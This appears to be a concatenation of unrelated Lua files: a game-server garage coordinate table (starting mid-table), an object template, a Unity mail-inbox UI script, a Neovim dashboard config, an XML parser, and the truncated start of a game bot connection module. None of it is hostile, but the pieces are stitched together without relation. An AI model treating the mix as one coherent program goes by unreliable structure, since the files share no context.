DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Monochrome2Apartment = {
Private = "Monochrome2Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Monochrome3Apartment = {
Private = "Monochrome3Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Seductive1Apartment = {
Private = "Seductive1Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Seductive2Apartment = {
Private = "Seductive2Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Seductive3Apartment = {
Private = "Seductive3Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Regal1Apartment = {
Private = "Regal1Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Regal2Apartment = {
Private = "Regal2Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Regal3Apartment = {
Private = "Regal3Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Aqua1Apartment = {
Private = "Aqua1Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Aqua2Apartment = {
Private = "Aqua2Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Aqua3Apartment = {
Private = "Aqua3Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
-- End of Milton Drive Garages
-- Start of Single Garages
Garage_RichardMajesticApt2 = {
Private = "RichardMajesticApt2",
GaragePoint = { x = -887.5, y = -349.58, z = 33.534 },
SpawnPoint = { x = -886.03, y = -343.78, z = 33.534, h = 206.79 },
DeletePoint = { x = -894.324, y = -349.326, z = 33.534 }
},
Garage_WildOatsDrive = {
Private = "WildOatsDrive",
GaragePoint = { x = -178.65, y = 503.45, z = 135.85 },
SpawnPoint = { x = -189.98, y = 505.8, z = 133.48, h = 282.62 },
DeletePoint = { x = -189.28, y = 500.56, z = 132.93 }
},
Garage_WhispymoundDrive = {
Private = "WhispymoundDrive",
GaragePoint = { x = 123.65, y = 565.75, z = 183.04 },
SpawnPoint = { x = 130.11, y = 571.47, z = 182.42, h = 270.71 },
DeletePoint = { x = 131.97, y = 566.77, z = 181.95 }
},
Garage_NorthConkerAvenue2044 = {
Private = "NorthConkerAvenue2044",
GaragePoint = { x = 348.18, y = 443.01, z = 146.7 },
SpawnPoint = { x = 358.397, y = 437.064, z = 144.277, h = 285.911 },
DeletePoint = { x = 351.383, y = 438.865, z = 145.66 }
},
Garage_NorthConkerAvenue2045 = {
Private = "NorthConkerAvenue2045",
GaragePoint = { x = 370.69, y = 430.76, z = 144.11 },
SpawnPoint = { x = 392.88, y = 434.54, z = 142.17, h = 264.94 },
DeletePoint = { x = 389.72, y = 429.95, z = 141.81 }
},
Garage_HillcrestAvenue2862 = {
Private = "HillcrestAvenue2862",
GaragePoint = { x = -688.71, y = 597.57, z = 142.64 },
SpawnPoint = { x = -683.72, y = 609.88, z = 143.28, h = 338.06 },
DeletePoint = { x = -685.259, y = 601.083, z = 142.365 }
},
Garage_HillcrestAvenue2868 = {
Private = "HillcrestAvenue2868",
GaragePoint = { x = -752.753, y = 624.901, z = 141.2 },
SpawnPoint = { x = -749.32, y = 628.61, z = 141.48, h = 197.14 },
DeletePoint = { x = -754.286, y = 631.581, z = 141.2 }
},
Garage_HillcrestAvenue2874 = {
Private = "HillcrestAvenue2874",
GaragePoint = { x = -859.01, y = 695.95, z = 147.93 },
SpawnPoint = { x = -863.681, y = 698.72, z = 147.052, h = 341.77 },
DeletePoint = { x = -855.66, y = 698.77, z = 147.81 }
},
Garage_MadWayneThunder = {
Private = "MadWayneThunder",
GaragePoint = { x = -1290.95, y = 454.52, z = 96.66 },
SpawnPoint = { x = -1297.62, y = 459.28, z = 96.48, h = 285.652 },
DeletePoint = { x = -1298.088, y = 468.952, z = 96.0 }
},
Garage_TinselTowersApt12 = {
Private = "TinselTowersApt12",
GaragePoint = { x = -616.74, y = 56.38, z = 42.736 },
SpawnPoint = { x = -620.588, y = 60.102, z = 42.736, h = 109.316 },
DeletePoint = { x = -621.128, y = 52.691, z = 42.735 }
},
-- End of Single Garages
-- Start of VENT Custom Garages
Garage_MedEndApartment1 = {
Private = "MedEndApartment1",
GaragePoint = { x = 240.23, y = 3102.84, z = 41.49 },
SpawnPoint = { x = 233.58, y = 3094.29, z = 41.49, h = 93.91 },
DeletePoint = { x = 237.52, y = 3112.63, z = 41.39 }
},
Garage_MedEndApartment2 = {
Private = "MedEndApartment2",
GaragePoint = { x = 246.08, y = 3174.63, z = 41.72 },
SpawnPoint = { x = 234.15, y = 3164.37, z = 41.54, h = 102.03 },
DeletePoint = { x = 240.72, y = 3165.53, z = 41.65 }
},
Garage_MedEndApartment3 = {
Private = "MedEndApartment3",
GaragePoint = { x = 984.92, y = 2668.95, z = 39.06 },
SpawnPoint = { x = 993.96, y = 2672.68, z = 39.06, h = 0.61 },
DeletePoint = { x = 994.04, y = 2662.1, z = 39.13 }
},
Garage_MedEndApartment4 = {
Private = "MedEndApartment4",
GaragePoint = { x = 196.49, y = 3027.48, z = 42.89 },
SpawnPoint = { x = 203.1, y = 3039.47, z = 42.08, h = 271.3 },
DeletePoint = { x = 192.24, y = 3037.95, z = 42.89 }
},
Garage_MedEndApartment5 = {
Private = "MedEndApartment5",
GaragePoint = { x = 1724.49, y = 4638.13, z = 42.31 },
SpawnPoint = { x = 1723.98, y = 4630.19, z = 42.23, h = 117.88 },
DeletePoint = { x = 1733.66, y = 4635.08, z = 42.24 }
},
Garage_MedEndApartment6 = {
Private = "MedEndApartment6",
GaragePoint = { x = 1670.76, y = 4740.99, z = 41.08 },
SpawnPoint = { x = 1673.47, y = 4756.51, z = 40.91, h = 12.82 },
DeletePoint = { x = 1668.46, y = 4750.83, z = 40.88 }
},
Garage_MedEndApartment7 = {
Private = "MedEndApartment7",
GaragePoint = { x = 15.24, y = 6573.38, z = 31.72 },
SpawnPoint = { x = 16.77, y = 6581.68, z = 31.42, h = 222.6 },
DeletePoint = { x = 10.45, y = 6588.04, z = 31.47 }
},
Garage_MedEndApartment8 = {
Private = "MedEndApartment8",
GaragePoint = { x = -374.73, y = 6187.06, z = 30.54 },
SpawnPoint = { x = -377.97, y = 6183.73, z = 30.49, h = 223.71 },
DeletePoint = { x = -383.31, y = 6188.85, z = 30.49 }
},
Garage_MedEndApartment9 = {
Private = "MedEndApartment9",
GaragePoint = { x = -24.6, y = 6605.99, z = 30.45 },
SpawnPoint = { x = -16.0, y = 6607.74, z = 30.18, h = 35.31 },
DeletePoint = { x = -9.36, y = 6598.86, z = 30.47 }
},
Garage_MedEndApartment10 = {
Private = "MedEndApartment10",
GaragePoint = { x = -365.18, y = 6323.95, z = 28.9 },
SpawnPoint = { x = -359.49, y = 6327.41, z = 28.83, h = 218.58 },
DeletePoint = { x = -353.47, y = 6334.57, z = 28.83 }
}
-- End of VENT Custom Garages
}
-- End of Aircraft |
object_tangible_quest_rebel_rtp_leia_e11_rifle = object_tangible_quest_rebel_shared_rtp_leia_e11_rifle:new {
}
ObjectTemplates:addTemplate(object_tangible_quest_rebel_rtp_leia_e11_rifle, "object/tangible/quest/rebel/rtp_leia_e11_rifle.iff")
|
local MailModule = require 'module.MailModule'
local NetworkService = require "utils.NetworkService";
local ItemHelper = require "utils.ItemHelper"
local FriendModule = require 'module.FriendModule'
local IconFrameHelper = require "utils.IconFrameHelper"
local View = {};
function View:Start(data)
self.root = CS.SGK.UIReference.Setup(self.gameObject)
self.view = self.root.view.Content
self.nguiDragIconScript = self.view.ScrollView[CS.UIMultiScroller]
self.root.view.Title[UI.Text].text = SGK.Localize:getInstance():getValue("biaoti_youjian_01")
CS.UGUIClickEventListener.Get(self.root.view.Close.gameObject).onClick = function (obj)
DialogStack.Pop()
end
CS.UGUIClickEventListener.Get(self.root.mask.gameObject,true).onClick = function (obj)
DialogStack.Pop()
end
self:SetMailList()
self.nguiDragIconScript.RefreshIconCallback = (function (go,idx)
self:refreshData(go,idx)
end)
CS.UGUIClickEventListener.Get(self.view.emptyBtn.gameObject).onClick = function (obj)
--一键清空
self:OnClickEmptyAllBtn()
end
CS.UGUIClickEventListener.Get(self.view.getBtn.gameObject).onClick = function (obj)
--一键领取
self:OnClickGetAllBtn()
end
end
function View:SetMailList()
--[[
self.AwardData = module.AwardModule.GetAward()
self.MailData = MailModule.GetManager()
ERROR_LOG(sprinttb(self.AwardData))
ERROR_LOG(sprinttb(self.MailData))
--NetworkService.Send(5029)--获赠记录
self.Click_Mail_data = nil--当前点击打开的邮件
if self.MailData then
self.root.view.tips:SetActive(#self.MailData == 0)
self.view:SetActive(#self.MailData ~= 0)
--初始化数量
self.nguiDragIconScript.DataCount = #self.MailData
end
--]]
self.MailList = {}
self.mailData = MailModule.GetManager() or {}
self.awardData = module.AwardModule.GetAward() or {}
for i=1,#self.mailData do
table.insert(self.MailList,self.mailData[i])
end
for i=1,#self.awardData do
table.insert(self.MailList,self.awardData[i])
end
for k,v in pairs(self.MailList) do
if v.time == "" then
v.time = 0
--print("12131231231313")
end
end
table.sort(self.MailList,function(a,b)
return a.time > b.time
end)
--print("zoe查看邮件",sprinttb(self.MailList))
self.Click_Mail_data = nil--当前点击打开的邮件
self.root.view.tips:SetActive(#self.MailList == 0)
self.view:SetActive(#self.MailList ~= 0)
--初始化数量
self.nguiDragIconScript.DataCount = #self.MailList
end
function View:refreshData(go,idx)
-- local cfg = self.MailData[idx +1]
local cfg = self.MailList[idx +1 ]
if cfg then
local obj = CS.SGK.UIReference.Setup(go)
obj.name[UnityEngine.UI.Text].text = cfg.title
obj.name[UnityEngine.UI.Text].color = cfg.status == 1 and {r = 0,g = 0,b = 0,a = 255} or {r = 0,g = 0,b = 0,a = 204}
--print("zoe查看单个邮件详情",sprinttb(cfg))
if cfg.time~= "" and cfg.time~= 0 then
local s_time= os.date("*t",cfg.time)
obj.time[UnityEngine.UI.Text].text = s_time.year.."."..s_time.month.."."..s_time.day
else
obj.time[UnityEngine.UI.Text].text = ""
end
obj.read.gameObject:SetActive(cfg.status == 1)
--obj.read.gameObject:SetActive(false)
--type 102 可领取奖励 103 离线奖励
obj.GetTip:SetActive(cfg.type == 102 or cfg.type == 103)
local status = 0
if cfg.attachment_count > 0 then--有附件
if cfg.attachment_opened == 0 then--未领取
status = 1
else--已领取
status = 2
end
else--无附件
if cfg.status ~= 1 then--已读取
status = 2
else--未读取
status = 0
end
end
obj.Icon[CS.UGUISpriteSelector].index = status
obj.Image[CS.UGUISpriteSelector].index = status == 2 and 1 or 0
CS.UGUIClickEventListener.Get(obj.Image.gameObject).onClick = function (obj)
if cfg.type == 102 then
utils.NetworkService.Send(195,{nil,cfg.id})
elseif cfg.type == 103 then
-- ERROR_LOG(cfg.time)
module.AwardModule.GetOfflineAward(cfg.time)
else
self.root.openMail.view.top.title[UnityEngine.UI.Text].text = cfg.title
--openMail.view.top.title[UnityEngine.UI.Text].color = cfg.status == 1 and {r = 0,g = 0,b = 0,a = 255} or {r = 0,g = 0,b = 0,a = 204}
self.root.openMail.view.top.Image[CS.UGUISpriteSelector].index = status
local s_time= os.date("*t",cfg.time)
self.root.openMail.view.top.time[UnityEngine.UI.Text].text = s_time.year.."."..s_time.month.."."..s_time.day.." "..(s_time.hour or 0)..":"..((s_time.min < 10 and "0"..s_time.min or s_time.min) or 0)
self.root.openMail.view.bottom.getBtn:SetActive(cfg.attachment_opened == 0)
self.root.openMail.view.top.is_receive:SetActive(false)
self.root.openMail.view.bottom.emptyBtn:SetActive(false)
if cfg.attachment_count > 0 then--有附件
if cfg.attachment_opened ~= 0 then--已领取
self.root.openMail.view.top.is_receive:SetActive(true)
self.root.openMail.view.bottom.emptyBtn:SetActive(true)
end
else--无附件
self.root.openMail.view.bottom.emptyBtn:SetActive(true)
end
CS.UGUIClickEventListener.Get(self.root.openMail.view.bottom.emptyBtn.gameObject).onClick = function (obj)
--删除正在打开的邮件
if cfg.type == 100 then
MailModule.DelFriendMail({{cfg.fromid,cfg.key}})--清空已领取好友礼物
elseif cfg.type == 101 then
if cfg.fun then
cfg.fun(cfg.id,3,cfg.data)--删除
end
else
MailModule.SetDelMailList(cfg.id)
NetworkService.Send(5007,{nil,{cfg.id}})--删除已领取邮件
end
end
if cfg.content then
self:OnShowMailDetail({cfg.content})
else
NetworkService.Send(5003,{nil,{cfg.id}})--获取邮件内容
-- if cfg.status == 1 then
-- NetworkService.Send(5005,{nil,{{cfg.id,2}}})--已读取邮件
-- end
end
self.Click_Mail_data = cfg
end
end
end
go:SetActive(true)
end
function View:OnClickEmptyAllBtn()
if #self.MailList == 0 then
showDlgError(nil,"没有可清空的邮件",nil,nil,11)
return
end
local list = {}
local friend_list = {}
for i =1 ,#self.MailList do
local _cfg = self.MailList[i]
if _cfg.attachment_opened ~= 0 then
if _cfg.type == 100 then
friend_list[#friend_list+1] = {_cfg.fromid,_cfg.key}
elseif _cfg.type == 101 then
if _cfg.fun then
_cfg.fun(_cfg.id,3,_cfg.data)--删除
end
--MailModule.DelMail(self.MailData[i].id)
else
list[#list + 1] = _cfg.id
end
end
end
showDlg(self.view,"确认清空已提取附件的已读邮件吗?",function()
if #list > 0 then
for i=1,#list do
MailModule.SetDelMailList(list[i])
end
NetworkService.Send(5007,{nil,list})--清空已领取邮件
end
if #friend_list > 0 then
MailModule.DelFriendMail(friend_list)--清空已领取好友礼物
end
end,function ()end,"清空","取消",11)
end
function View:OnClickGetAllBtn()
if self.view.getBtn[CS.UGUIClickEventListener].interactable then
self.delList = {}
local friend_list_count = 0
--[[
for i =1,#self.MailList do
local _cfg = self.MailList[i]
if _cfg.attachment_opened == 0 then
list[#list + 1] = _cfg.id
if _cfg.type == 100 then
if friend_list_count < FriendModule.GetFriendConf().get_limit then
friend_list_count = friend_list_count + 1
MailModule.GetFrinedAttachment(_cfg.fromid,_cfg.key)
if friend_list_count == FriendModule.GetFriendConf().get_limit or FriendModule.GetFriend_receive_give_count() >= FriendModule.GetFriendConf().get_limit then
showDlgError(nil,"每天最多可领取"..FriendModule.GetFriendConf().get_limit.."个好友赠送的时之力,请明天再来吧~")
end
end
elseif _cfg.type == 101 then
if _cfg.fun then
_cfg.fun(_cfg.id,2,_cfg.data)--领取
end
elseif _cfg.type == 102 then
utils.NetworkService.Send(195,{nil,_cfg.id})
elseif _cfg.type == 103 then
reset = true
module.AwardModule.GetOfflineAward(_cfg.time)
else
MailModule.GetAttachment(_cfg.id)
end
end
end
--]]
local friend_Limit_count = 0
local FriendFlag = nil
local havemail = false
for i =#self.MailList,1,-1 do
local _cfg = self.MailList[i]
if _cfg.attachment_opened == 0 then
if _cfg.type == 100 then
if friend_Limit_count < (FriendModule.GetFriendConf().get_limit-FriendModule.GetFriend_receive_give_count()) then
friend_Limit_count = friend_Limit_count + 1
self.delList[#self.delList + 1] = _cfg
else
havemail = true
FriendFlag = true
end
else
self.delList[#self.delList + 1] = _cfg
end
end
end
self.FirendErrFuc = function ()
--print("11111")
if FriendModule.GetFriend_receive_give_count() >= FriendModule.GetFriendConf().get_limit then
--utils.EventManager.getInstance():dispatch("Mail_INFO_CHANGE")
if FriendFlag then
showDlgError(nil,"今日已领取"..FriendModule.GetFriendConf().get_limit.."个好友赠送的体力,请明天再来吧~")
FriendFlag = false
end
end
end
if #self.delList == 0 then
self.FirendErrFuc()
if not havemail then
showDlgError(nil,"没有可领取的邮件",nil,nil,11)
end
else
self.root.lockMask:SetActive(true)
--self.view.getBtn[CS.UGUIClickEventListener].interactable = false
self.FirendErrFuc()
-- local FriendFlag = true
self.GetAllFunc = function ()
local _cfg = self.delList[#self.delList]
--print("一键领取",sprinttb(_cfg))
if _cfg.type == 100 then
MailModule.GetFrinedAttachment(_cfg.fromid,_cfg.key)
elseif _cfg.type == 101 then
if _cfg.fun then
_cfg.fun(_cfg.id,2,_cfg.data)--领取
end
elseif _cfg.type == 102 then
utils.NetworkService.Send(195,{nil,_cfg.id})
elseif _cfg.type == 103 then
module.AwardModule.GetOfflineAward(_cfg.time)
else
MailModule.GetAttachment(_cfg.id)
end
end
self.GetAllFunc()
end
end
end
function View:OnShowMailDetail(data)
local openMail = self.root.openMail
openMail:SetActive(true)
local cfg = data[1]
if cfg then
openMail.view.top.desc[UnityEngine.UI.Text].text = cfg.content
openMail.view.mid:SetActive(#cfg.item>0)
if #cfg.item>0 then
self.tempObj =self.tempObj or SGK.ResourcesManager.Load("prefabs/base/IconFrame.prefab")
for i = 1,openMail.view.mid.scrollView.Viewport.Content.transform.childCount do
openMail.view.mid.scrollView.Viewport.Content.transform:GetChild(i-1).gameObject:SetActive(false)
end
for i=1,#cfg.item do
local _obj = nil
if openMail.view.mid.scrollView.Viewport.Content.transform.childCount >= i then
_obj = openMail.view.mid.scrollView.Viewport.Content.transform:GetChild(i-1).gameObject
else
_obj = CS.UnityEngine.GameObject.Instantiate(self.tempObj.gameObject,openMail.view.mid.scrollView.Viewport.Content.transform)
_obj.transform.localScale =Vector3(0.8,0.8,1)
end
_obj:SetActive(true)
local _item = SGK.UIReference.Setup(_obj)
utils.IconFrameHelper.Create(_item,{type = cfg.item[i][1], id = cfg.item[i][2], count = cfg.item[i][3],showDetail = true})
end
end
openMail.view.bottom.getBtn[CS.UGUIClickEventListener].interactable = true
CS.UGUIClickEventListener.Get(openMail.view.bottom.getBtn.gameObject).onClick = function (obj)
--读取or领取 邮件
--NetworkService.Send(5019,{nil,MailContent.id})
if openMail.view.bottom.getBtn[CS.UGUIClickEventListener].interactable then
openMail.view.bottom.getBtn[CS.UGUIClickEventListener].interactable = false
if self.Click_Mail_data.type == 100 then
if FriendModule.GetFriend_receive_give_count() < FriendModule.GetFriendConf().get_limit then
MailModule.GetFrinedAttachment(self.Click_Mail_data.fromid,self.Click_Mail_data.key)
else
showDlgError(nil,"今日已领取"..FriendModule.GetFriendConf().get_limit.."个好友赠送的体力,请明天再来吧~")
end
elseif self.Click_Mail_data.type == 101 then
if self.Click_Mail_data.fun then
self.Click_Mail_data.fun(self.Click_Mail_data.id,2,self.Click_Mail_data.data)--领取
end
else
MailModule.GetAttachment(cfg.id)
end
self:OpenNextMailContent(cfg)
end
end
CS.UGUIClickEventListener.Get(self.root.openMail.gameObject,true).onClick = function (obj)
self:OpenNextMailContent(cfg)
end
else
ERROR_LOG("data is err,",sprinttb(data))
end
end
function View:OpenNextMailContent(data)
local MailContent = data
self.root.openMail.gameObject:SetActive(false)
table.remove(MailContent,1)
if #MailContent > 0 then
self:OnShowMailDetail(MailContent)
end
end
function View:listEvent()
return {
"Mail_INFO_CHANGE",
"MAIL_GET_RESPOND",
"MAIL_MARK_RESPOND",
"Mail_Delete_Succeed",
"NOTIFY_REWARD_CHANGE",
}
end
local canRefresh = true
function View:onEvent(event,data)
if event == "Mail_INFO_CHANGE" then
--print("22222")
if self.GetAllFunc and #self.delList>1 then
table.remove(self.delList,#self.delList)
self.GetAllFunc()
else
if self.GetAllFunc then
if #self.delList >0 then
table.remove(self.delList,#self.delList)
end
self.root.lockMask:SetActive(false)
self.view.getBtn[CS.UGUIClickEventListener].interactable = true
self.GetAllFunc = nil
self.FirendErrFuc()
end
self:SetMailList()
if self.root.openMail.gameObject.activeSelf then
self.root.openMail:SetActive(false)
end
end
elseif event == "MAIL_GET_RESPOND" then
self:OnShowMailDetail(data.data)
elseif event == "MAIL_MARK_RESPOND" then
self.MailList = {}
self.mailData = MailModule.GetManager()
for i=1,#self.mailData do
table.insert(self.MailList,self.mailData[i])
end
for i=1,#self.awardData do
table.insert(self.MailList,self.awardData[i])
end
self.nguiDragIconScript:ItemRef()
self.root.openMail.gameObject:SetActive(false)
elseif event == "NOTIFY_REWARD_CHANGE" then
--ERROR_LOG("xxxxxx4444")--离线奖励
if self.GetAllFunc and #self.delList>1 then
table.remove(self.delList,#self.delList)
self.GetAllFunc()
else
if self.GetAllFunc then
if #self.delList >0 then
table.remove(self.delList,#self.delList)
end
self.root.lockMask:SetActive(false)
self.GetAllFunc = nil
end
if not self.delay then
self.delay = true
self.root.transform:DOScale(Vector3.one,0.2):OnComplete(function()
self.delay = false
self:SetMailList()
end)
end
end
end
end
return View |
include("sh_core.lua")
|
local theme = require('alpha.themes.startify')
local version = vim.version().major .. '.' .. vim.version().minor .. '.' .. vim.version().patch
theme.section.header.val = {
[[ __ ]],
[[ ___ ___ ___ __ __ /\_\ ___ ___ ]],
[[ / _ `\ / __`\ / __`\/\ \/\ \\/\ \ / __` __`\ ]],
[[ /\ \/\ \/\ __//\ \_\ \ \ \_/ |\ \ \/\ \/\ \/\ \ ]],
[[ \ \_\ \_\ \____\ \____/\ \___/ \ \_\ \_\ \_\ \_\]],
[[ \/_/\/_/\/____/\/___/ \/__/ \/_/\/_/\/_/\/_/]],
[[ config by Luan Santos <https://github.com/luan>]],
[[ Neovim Version: ]] .. version .. [[ (run :version for more details)]],
}
require('alpha').setup(theme.opts)
|
local xmlutils = {}
local INVERSE_ESCAPE_MAP = {
["\\a"] = "\a", ["\\b"] = "\b", ["\\f"] = "\f", ["\\n"] = "\n", ["\\r"] = "\r",
["\\t"] = "\t", ["\\v"] = "\v", ["\\\\"] = "\\",
}
local specialEscapes = {
nbsp = " ", amp = "&", krist = "\164"
}
local function consumeWhitespace(wBuffer)
local nPos = wBuffer:find("%S")
return wBuffer:sub(nPos or #wBuffer + 1)
end
function xmlutils.parse(buffer)
local tagStack = {children = {}}
local parsePoint = tagStack
local next = buffer:find("%<%!%-%-")
while next do
local endComment = buffer:find("%-%-%>", next + 4)
buffer = buffer:sub(1, next - 1) .. buffer:sub(endComment + 3)
next = buffer:find("%<%!%-%-")
end
local ntWhite = buffer:find("%S")
while ntWhite do
buffer = buffer:sub(ntWhite)
local nxtLoc, _, capt = buffer:find("(%<%/?)%s*[a-zA-Z0-9_%:]+")
if nxtLoc ~= 1 and buffer:sub(1,3) ~= "<![" then
--Text node probably
if nxtLoc ~= buffer:find("%<") then
-- Syntax error
error("Unexpected character")
end
local cnt = buffer:sub(1, nxtLoc - 1)
local replaceSearch = 1
while true do
local esBegin, esEnd, code = cnt:find("%&([%w#]%w-)%;", replaceSearch)
if not esBegin then break end
local replacement = specialEscapes[code]
if not replacement then
if code:match("^#%d+$") then
replacement = string.char(tonumber(code:sub(2)))
else
error("Unknown replacement '" .. code .. "' in xml")
end
end
cnt = cnt:sub(1, esBegin - 1) .. replacement .. cnt:sub(esEnd + 1)
replaceSearch = esBegin + 1
end
parsePoint.children[#parsePoint.children + 1] = {type = "text", content = cnt, parent = parsePoint}
buffer = buffer:sub(nxtLoc)
elseif nxtLoc == 1 and capt == "</" then
-- Closing tag
local _, endC, closingName = buffer:find("%<%/%s*([a-zA-Z0-9%_%-%:]+)")
if closingName == parsePoint.name then
-- All good!
parsePoint = parsePoint.parent
local _, endTagPos = buffer:find("%s*>")
if not endTagPos then
-- Improperly terminated terminating tag... how?
error("Improperly terminated terminating tag...")
end
buffer = buffer:sub(endTagPos + 1)
else
-- BAD! Someone forgot to close their tag, gonna be strict and throw
-- TODO?: Add stack unwind to attempt to still parse?
error("Unterminated '" .. tostring(parsePoint.name) .. "' tag")
end
else
-- Proper node
if buffer:sub(1, 9) == "<![CDATA[" then
parsePoint.children[#parsePoint.children + 1] = {type = "cdata", parent = parsePoint}
local ctepos = buffer:find("%]%]%>")
if not ctepos then
-- Syntax error
error("Unterminated CDATA")
end
parsePoint.children[#parsePoint.children].content = buffer:sub(10, ctepos - 1)
buffer = buffer:sub(ctepos + 3)
else
parsePoint.children[#parsePoint.children + 1] = {type = "normal", children = {}, properties = {}, parent = parsePoint}
parsePoint = parsePoint.children[#parsePoint.children]
local _, eTp, tagName = buffer:find("%<%s*([a-zA-Z0-9%_%-%:]+)")
parsePoint.name = tagName
buffer = buffer:sub(eTp + 1)
local sp, ep
repeat
buffer = consumeWhitespace(buffer)
local nChar, eChar, propName = buffer:find("([a-zA-Z0-9%_%-%:]+)")
if nChar == 1 then
local nextNtWhite, propMatch = (buffer:find("%S", eChar + 1))
if not nextNtWhite then
error("Unexpected EOF")
end
buffer = buffer:sub(nextNtWhite)
buffer = consumeWhitespace(buffer)
local eqP = buffer:find("%=")
if eqP ~= 1 then
error("Expected '='")
end
buffer = buffer:sub(eqP + 1)
nextNtWhite, _, propMatch = buffer:find("(%S)")
if tonumber(propMatch) then
-- Gon be a num
local _, endNP, wholeNum = buffer:find("([0-9%.]+)")
if tonumber(wholeNum) then
parsePoint.properties[propName] = tonumber(wholeNum)
else
error("Unfinished number")
end
buffer = buffer:sub(endNP + 1)
elseif propMatch == "\"" or propMatch == "'" then
-- Gon be a string
buffer = buffer:sub(nextNtWhite)
local terminationPt = buffer:find("[^%\\]%" .. propMatch) + 1
local buildStr = buffer:sub(2, terminationPt - 1)
local repPl, _, repMatch = buildStr:find("(%\\.)")
while repMatch do
local replS = INVERSE_ESCAPE_MAP[repMatch] or repMatch:sub(2)
buildStr = buildStr:sub(1, repPl - 1) .. replS .. buildStr:sub(repPl + 2)
repPl, _, repMatch = buildStr:find("(%\\.)")
end
parsePoint.properties[propName] = buildStr
buffer = buffer:sub(terminationPt + 1)
else
error("Unexpected property, expected number or string")
end
end
sp, ep = buffer:find("%s*%/?>")
if not sp then
error("Unterminated tag")
end
until sp == 1
local selfTerm = buffer:sub(ep - 1, ep - 1)
if selfTerm == "/" then
-- Self terminating tag
parsePoint = parsePoint.parent
end
buffer = buffer:sub(ep + 1)
end
end
ntWhite = buffer:find("%S")
end
return tagStack
end
local prettyXML
do
local ESCAPE_MAP = {
["\a"] = "\\a", ["\b"] = "\\b", ["\f"] = "\\f", ["\n"] = "\\n", ["\r"] = "\\r",
["\t"] = "\\t", ["\v"] = "\\v", ["\\"] = "\\\\",
}
local function escape(s)
s = s:gsub("([%c\\])", ESCAPE_MAP)
local dq = s:find("\"")
if dq then
return s:gsub("\"", "\\\"")
else
return s
end
end
local root = false
prettyXML = function(parsedXML, spPos)
spPos = spPos or 0
local amRoot
if root then
amRoot = false
else
amRoot = true
root = true
end
local str = ""
local newFlag = false
for i = 1, #parsedXML.children do
local elm = parsedXML.children[i]
if elm.type == "normal" then
str = str .. (" "):rep(spPos) .. "<" .. elm.name
for k, v in pairs(elm.properties) do
str = str .. " " .. k .. "="
if type(v) == "number" then
str = str .. v
else
str = str .. "\"" .. escape(v) .. "\""
end
end
if elm.children and #elm.children ~= 0 then
str = str .. ">\n"
local ret, fl = prettyXML(elm, spPos + 2)
if fl then
str = str:sub(1, #str - 1) .. ret
else
str = str .. ret
end
str = str .. (fl and "" or (" "):rep(spPos)) .. "</" .. elm.name .. ">\n"
else
str = str .. "></" .. elm.name .. ">\n"
end
elseif elm.type == "cdata" then
str = str .. (" "):rep(spPos) .. "<![CDATA[" .. elm.content .. "]]>\n"
elseif elm.type == "text" then
if #parsedXML.children == 1 then
str = elm.content
newFlag = true
else
str = str .. (" "):rep(spPos) .. elm.content .. "\n"
end
end
end
if amRoot then
root = false
return str
else
return str, newFlag
end
end
end
xmlutils.pretty = prettyXML
return xmlutils
|
local net_createConnection = require("net").createConnection
local timer_setTimeout = require("timer").setTimeout
local byteArray = require("bArray")
local buffer = require("buffer")
local enum = require("enum")
-- Optimization --
local bit_band = bit.band
local bit_bor = bit.bor
local bit_lshift = bit.lshift
local bit_rshift = bit.rshift
local string_format = string.format
local string_getBytes = string.getBytes
local table_add = table.add
local table_concat = table.concat
local table_fuse = table.fuse
local table_join = table.join
local table_setNewClass = table.setNewClass
local table_unpack = table.unpack
local table_writeBytes = table.writeBytes
------------------
local connection = table_setNewClass()
--[[@
@name new
@desc Creates a new instance of Connection.
@param name<string> The connection name, for referece.
@param event<Emitter> An event emitter object.
@returns connection The new Connection object.
@struct {
event = { }, -- The event emitter object, used to trigger events.
socket = { }, -- The socket object, used to create the connection between the bot and the game.
buffer = { }, -- The buffer object, used to control the packets flow when received by the socket.
ip = "", -- IP of the server where the socket is connected. Empty if it is not connected.
packetID = 0, -- An identifier ID to send the packets in the correct format.
port = 1, -- The index of one of the ports from the enumeration 'ports'. It gets constant once a port is accepted in the server.
name = "", -- The name of the connection object, for reference.
